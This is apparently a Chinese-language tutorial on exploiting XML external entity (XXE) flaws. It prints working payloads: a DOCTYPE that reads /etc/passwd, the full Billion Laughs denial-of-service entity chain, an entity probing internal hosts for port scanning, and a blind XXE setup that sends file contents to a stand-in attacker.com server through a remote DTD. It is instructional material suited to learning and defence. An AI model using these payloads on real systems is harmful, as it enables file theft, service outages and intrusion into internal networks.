XXE 漏洞利用方式
1. 文件读取(最常见)
这是 XXE 漏洞最经典的利用方式,攻击者可以利用外部实体来读取服务器上的任意文件,例如/etc/passwd
、Web 应用配置文件等
利用原理:攻击者在 XML 文档中定义一个外部实体,实体的值为一个本地文件路径。当 XML 解析器解析该实体时,就会去读取并返回该文件的内容
利用步骤:
- 构造恶意 DTD:攻击者在 XML 文档的 DOCTYPE 声明中定义一个外部实体,通常使用
SYSTEM
关键字。- 例如:
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
- 例如:
- 引用实体:在 XML 文档的主体中引用该实体。
- 例如:
<data>&xxe;</data>
- 例如:
- 构造恶意 DTD:攻击者在 XML 文档的 DOCTYPE 声明中定义一个外部实体,通常使用
完整示例:
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root> <data>&xxe;</data> </root>
当服务器解析这个 XML 时,在
<data>
标签中就会回显/etc/passwd
文件的内容
2. 拒绝服务攻击(DoS)
攻击者可以利用 XXE 漏洞,通过“递归引用”或“大量实体引用”的方式,使 XML 解析器进入死循环或消耗大量系统资源,从而导致服务崩溃
利用原理:利用 XML 实体可以相互引用的特性,构造一个无限递归或指数级爆炸的实体
经典示例:十亿笑脸攻击(Billion Laughs Attack)
<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz>
这个 XML 文件虽然很小,但在解析时,
<lolz>
实体会扩展为数十亿个“lol”,消耗巨大的内存和 CPU 资源,最终导致服务器崩溃
3. 内网端口扫描
攻击者可以利用 XXE 漏洞探测服务器所在内网中其他主机的开放端口
- 利用原理:攻击者构造外部实体,让 XML 解析器去尝试连接内网 IP 和端口。如果端口开放,XML 解析会成功或返回特定的错误信息;如果端口关闭,则会返回连接超时等错误,通过错误信息来判断端口状态
- 利用方式:
- 定义外部实体:
<!ENTITY scan SYSTEM "http://192.168.1.1:80">
- 发送请求:让服务器去访问内网 IP 的端口
- 观察响应:如果服务器返回了“连接被拒绝”等信息,说明端口是关闭的。如果返回了“连接超时”或成功连接,则说明端口可能是开放的
- 定义外部实体:
4. 盲 XXE(Blind XXE)
如果服务器没有将 XML 解析结果回显到前端,攻击者就无法直接看到文件内容,这时就需要利用带外(Out-of-Band)通信来获取信息
- 利用原理:攻击者利用外部实体向自己的服务器发送请求,并在 URL 中携带需要读取的文件内容
- 利用步骤:
- 构造外部实体:攻击者在自己的服务器上搭建一个 HTTP 服务来监听请求
- 例如:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % exfiltrate "<!ENTITY % send SYSTEM 'http://attacker.com/?data=%file;'>">
- 例如:
- 远程引用:在主 XML 中引用攻击者的 DTD 文件
<!DOCTYPE foo SYSTEM "http://attacker.com/evil.dtd">
- 当服务器解析这个 DTD 时,就会将
/etc/passwd
文件的内容发送到攻击者的服务器上
- 构造外部实体:攻击者在自己的服务器上搭建一个 HTTP 服务来监听请求